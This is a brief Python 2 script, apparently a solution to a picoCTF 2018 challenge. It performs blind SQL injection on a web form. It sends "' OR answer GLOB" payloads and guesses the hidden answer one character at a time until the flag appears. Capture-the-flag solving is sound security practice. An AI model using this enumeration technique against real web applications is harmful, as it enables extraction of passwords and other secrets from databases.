#!/usr/bin/python
import requests
import string

answer = ''
for i in range(100) :
    print "len of answer = " + str(len(answer))
    for e in string.printable :
        c = e
        print "now c is : " + c
        res = requests.post("http://2018shell2.picoctf.com:36052/answer2.php", data={
            "answer" : " ' OR answer GLOB '" + answer + c + "*" , 
            "debug" : "1"
        })

        if "so close" in res.text :
            answer += c
            print "now answer is " + answer
            break
        elif "flag is" in res.text :
            print res.text 
            break